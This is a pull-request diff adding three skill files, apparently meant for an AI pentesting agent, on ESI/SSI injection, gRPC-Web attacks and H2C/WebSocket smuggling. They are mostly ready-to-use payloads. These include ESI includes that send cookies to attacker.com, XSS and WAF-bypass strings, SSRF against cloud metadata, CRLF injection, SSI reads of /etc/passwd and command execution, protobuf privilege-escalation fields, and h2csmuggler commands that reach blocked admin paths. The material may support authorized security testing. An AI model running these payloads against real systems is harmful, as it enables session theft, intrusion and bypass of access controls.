Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
134 changes: 134 additions & 0 deletions capabilities/web-security/skills/esi-injection/SKILL.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,134 @@
---
name: esi-injection
description: Inject ESI/SSI tags to achieve XSS, cookie theft, SSRF, or WAF bypass via edge/cache layer processing. Use when target has CDN/cache layer (Varnish, Squid, Akamai, Fastly) or serves .shtml files.
---

# ESI & SSI Injection

Edge Side Includes (ESI) and Server Side Includes (SSI) are processed by cache/proxy layers, not the application. If user input reaches ESI/SSI-processed responses, you bypass application-level defenses entirely — the cache layer executes your tags before the app even sees them.

## Detection

**ESI indicators:**
- Response header: `Surrogate-Control: content="ESI/1.0"`
- CDN/cache layer present (Varnish, Squid, Akamai ETS, Fastly, NodeJS esi)

**SSI indicators:**
- File extensions: `.shtml`, `.shtm`, `.stm`
- `<!--#` directives in page source

**Blind detection:**
```html
hell<!--esi-->o
```
If rendered as `hello` (comment stripped, text joined) → ESI is processing.

**OOB detection:**
```html
<esi:include src=http://CALLBACK_URL>
```
Hit on callback = confirmed.

## ESI Software Capabilities

| Software | Includes | Vars | Cookie Access | Upstream Headers | Host Whitelist |
|----------|----------|------|---------------|------------------|----------------|
| Squid3 | Yes | Yes | Yes | Yes | **No** |
| Varnish | Yes | No | No | Yes | Yes |
| Fastly | Yes | No | No | No | Yes |
| Akamai ETS | Yes | Yes | Yes | No | **No** |
| NodeJS esi | Yes | Yes | Yes | No | No |

**Key**: Squid3 and Akamai have no host whitelist — `<esi:include src=http://attacker.com>` works directly. Varnish/Fastly require the included host to be whitelisted.

## XSS via ESI

```html
<esi:include src=http://attacker.com/xss.html>
```

**WAF bypass** — ESI comments break up blocked keywords:
```html
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
```

**Variable-based bypass (Akamai/Squid):**
```html
x=<esi:assign name="v" value="'cript'"/><s<esi:vars name="$(v)"/>>alert(1)</s<esi:vars name="$(v)"/>>
```

## Cookie Theft

**Exfil via include (Squid/Akamai):**
```html
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?c=$(HTTP_COOKIE{'JSESSIONID'})"/>
```

**HttpOnly reflection (render cookie in page):**
```html
<!--esi $(HTTP_COOKIE) -->
```

**HttpOnly + XSS combo:**
```html
<!--esi/$url_decode('"><svg/onload=prompt(document.domain)>')/-->
```

## SSRF

```html
<esi:include src="http://169.254.169.254/latest/meta-data/"/>
<esi:include src="http://internal.corp:8080/admin"/>
```

## Header Injection / Open Redirect

```html
<!--esi $add_header('Location','http://attacker.com') -->
```

**CRLF via ESI (CVE-2019-2438):**
```html
<esi:include src="http://example.com/x">
<esi:request_header name="User-Agent" value="12345
Host: evil.com"/>
</esi:include>
```

## ESI + XSLT = XXE Chain

If ESI supports `dca="xslt"`:
```html
<esi:include src="http://attacker.com/data.xml" dca="xslt" stylesheet="http://attacker.com/evil.xsl"/>
```
The XSL payload triggers XXE for file read or further SSRF.

## SSI Payloads

**Info disclosure:**
```html
<!--#echo var="DOCUMENT_NAME" -->
<!--#printenv -->
```

**File inclusion:**
```html
<!--#include virtual="/etc/passwd" -->
```

**RCE:**
```html
<!--#exec cmd="id" -->
```

## Chain With
- xslt-injection (ESI+XSLT→XXE escalation)
- blind-ssrf-chains (ESI include to internal services)
- csp-bypass (ESI-injected scripts bypass app-level CSP)
- web-cache-deception-path (poison cached ESI responses)

## Reference
- https://gosecure.ai/blog/2018/04/03/beyond-xss-edge-side-include-injection/ (GoSecure, ESI injection research)
- https://gosecure.ai/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/ (Implementation-specific abuse)
112 changes: 112 additions & 0 deletions capabilities/web-security/skills/grpc-web-pentest/SKILL.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,112 @@
---
name: grpc-web-pentest
description: Pentest gRPC-Web services via CORS abuse, JSON transcoder bypass, and payload manipulation. Use when target serves application/grpc-web content type, has Envoy/APISIX proxy, or JS bundles contain protobuf service definitions.
---

# gRPC-Web Pentesting

gRPC-Web wraps protobuf in HTTP/1.1 for browser clients. The translation layer (Envoy, APISIX, grpcwebproxy) introduces attack surface absent in native gRPC.

## Detection

- Content-Type: `application/grpc-web` or `application/grpc-web-text`
- `x-grpc-web: 1` header in requests
- JS bundles importing `grpc-web` or containing `.proto` service paths
- Envoy proxy headers (`x-envoy-upstream-service-time`)

## Recon: Extract Services from JS

JS bundles embed service paths and message schemas:
```bash
# grep for service method paths (pkg.Service/Method format)
grep -oP '[a-zA-Z0-9_.]+/[A-Z][a-zA-Z]+' main.*.js | sort -u

# Find proto message field definitions
grep -oP 'proto\.[a-zA-Z]+\.[a-zA-Z]+' main.*.js | sort -u
```

Also check for `buf` reflection:
```bash
buf curl --protocol grpcweb https://target.tld --list-methods
```

## CORS on gRPC-Web

gRPC-Web requires CORS for browser calls. Test the proxy's CORS config:
```bash
curl -I -X OPTIONS https://target.tld/pkg.Service/Method \
-H 'Origin: https://evil.tld' \
-H 'Access-Control-Request-Method: POST' \
-H 'Access-Control-Request-Headers: content-type,x-grpc-web,authorization'
```

Vulnerable if: `Access-Control-Allow-Origin: https://evil.tld` + `Access-Control-Allow-Credentials: true`. This enables cross-origin authenticated gRPC calls from attacker page.

## JSON Transcoder Bypass

Many gRPC-Web proxies also accept `application/json` via gRPC-JSON transcoding. This transcoder path often has **different auth enforcement**:
```bash
# Try JSON instead of protobuf — may bypass gRPC interceptors/auth middleware
curl -X POST https://target.tld/pkg.Service/Method \
-H 'Content-Type: application/json' \
-d '{"field":"value"}'
```

If the JSON transcoder responds when protobuf requires auth → auth bypass.

## Making Requests

**With buf (easiest):**
```bash
buf curl --protocol grpcweb \
-H 'Authorization: Bearer TOKEN' \
-d '{"user_id":"1337"}' \
https://target.tld/pkg.Service/GetUser
```

**Raw binary (without buf):**

gRPC-Web frame format: 1 byte flags + 4 bytes length (big-endian) + protobuf payload.

```bash
# Use protoscope to craft protobuf, then frame it
echo '1: {"admin"}' | protoscope -s | python3 -c "
import sys; p=sys.stdin.buffer.read(); sys.stdout.buffer.write(b'\x00'+len(p).to_bytes(4,'big')+p)
" > body.bin

curl -X POST https://target.tld/pkg.Service/Method \
-H 'Content-Type: application/grpc-web' \
-H 'x-grpc-web: 1' \
--data-binary @body.bin
```

## Payload Manipulation

**Field injection** — add fields the client never sends:
```bash
# Client sends field 1 (name). Add field 99 (role) that backend reads but client omits.
echo '1: {"user"} 99: {"admin"}' | protoscope -s
```

**Type confusion** — swap field wire types:
```bash
# Field 2 is normally varint (int). Send as length-delimited (string).
echo '2: {"not_a_number"}' | protoscope -s
```

**Proxy header injection (Envoy):**
```bash
curl -X POST https://target.tld/pkg.Service/Method \
-H 'x-envoy-original-path: /admin.AdminService/DeleteUser' \
-H 'Content-Type: application/grpc-web' \
--data-binary @body.bin
```

## Chain With
- parser-differential-bypass (JSON transcoder vs protobuf validation differences)
- auth-matrix-testing (test each gRPC method across roles)
- type-confusion-testing (protobuf type coercion)
- protoscope for wire-level payload crafting

## Reference
- https://grpc.io/docs/platforms/web/ (gRPC-Web protocol spec)
107 changes: 107 additions & 0 deletions capabilities/web-security/skills/h2c-websocket-smuggling/SKILL.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,107 @@
---
name: h2c-websocket-smuggling
description: Bypass reverse proxy ACLs via H2C upgrade or WebSocket tunnel. Use when proxy blocks internal paths but forwards Upgrade headers, or when standard CL.TE/TE.CL smuggling fails.
---

# H2C & WebSocket Smuggling

Proxy sees `Upgrade: h2c` or `Upgrade: websocket`, establishes persistent tunnel, stops inspecting individual requests. You now talk directly to the backend, bypassing path-based ACLs, WAF rules, and auth checks enforced at the proxy layer.

## When This Beats Standard Smuggling

- CL.TE/TE.CL/TE.0 all fail (proxy and backend agree on body parsing)
- Proxy enforces path ACLs (`/admin` blocked) but forwards upgrade headers
- Target has WebSocket endpoints (even broken ones)

## H2C Smuggling

### Required Headers (all three)
```http
GET / HTTP/1.1
Host: target.com
Upgrade: h2c
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
Connection: Upgrade, HTTP2-Settings
```

### Proxy Vulnerability Matrix

**Inherently vulnerable** (forward upgrade headers by default):
- HAProxy, Traefik, Nuster

**Vulnerable if misconfigured** (forward when `proxy_pass` or backend config allows):
- AWS ALB/CLB, nginx, Apache, Squid, Varnish, Kong, Envoy, Apache Traffic Server

### Key Insight
Regardless of `proxy_pass` path (e.g. `http://backend:9999/socket.io`), the upgraded connection defaults to `http://backend:9999`. You can access **any** path on the backend — not just the configured proxy path.

### Exploitation
```bash
# BishopFox h2csmuggler — sends upgrade then HTTP/2 requests through the tunnel
h2csmuggler -x https://target.com/ --test
h2csmuggler -x https://target.com/ -X GET /admin
h2csmuggler -x https://target.com/ -X POST /internal/api/users -d '{"role":"admin"}'
```

Alternative: Assetnote h2csmuggler (`pip install h2csmuggler`).

## WebSocket Smuggling

Two scenarios, both exploit proxy misvalidation of the WebSocket handshake.

### Scenario 1: Invalid Version (no SSRF required)

Backend has public WebSocket API + blocked internal REST API.

1. Send `Upgrade: websocket` with **invalid** `Sec-WebSocket-Version: 999`
2. Proxy forwards without validating version
3. Backend responds `426 Upgrade Required` (handshake fails)
4. Proxy ignores the 426, assumes tunnel established
5. TCP tunnel open — send REST requests to internal API

```http
GET /websocket HTTP/1.1
Host: target.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 999
```

**Affected**: Varnish (wontfix), Envoy <= 1.8.0.

### Scenario 2: Health Check + SSRF (requires external callback)

1. POST to health check endpoint with `Upgrade: websocket` header
2. Health check calls external resource (SSRF to attacker server)
3. Attacker returns `HTTP/1.1 101 Switching Protocols`
4. Proxy sees 101, assumes WebSocket established
5. Tunnel open to internal backend

**Requirement**: SSRF capability on any backend endpoint that triggers outbound fetch.

## Decision Logic

```
Proxy detected blocking internal paths
├── Does proxy forward Upgrade headers?
│ ├── Test: curl -I -H "Upgrade: h2c" -H "Connection: Upgrade, HTTP2-Settings" ...
│ │ └── 101 or connection upgrade → H2C smuggle
│ └── No upgrade → standard smuggling or other bypass
├── Does target have WebSocket endpoints?
│ ├── Test invalid version (Scenario 1)
│ │ └── 426 but proxy keeps connection → WebSocket smuggle
│ └── Test health check + SSRF (Scenario 2)
│ └── 101 from attacker callback → WebSocket smuggle
└── Neither works → try h2-connect-internal-scan, te0-request-smuggling
```

## Chain With
- blind-ssrf-chains (access internal services through the tunnel)
- 403-bypass (tunnel bypasses proxy-layer ACLs)
- h2-connect-internal-scan (alternative HTTP/2 CONNECT method)

## Reference
- https://bishop.fox.com/blog/h2c-smuggling-request (BishopFox, original research)
- https://blog.assetnote.io/2021/03/18/h2c-smuggling/ (Assetnote)
- https://github.com/0ang3el/websocket-smuggle (WebSocket smuggle labs)
Loading
Loading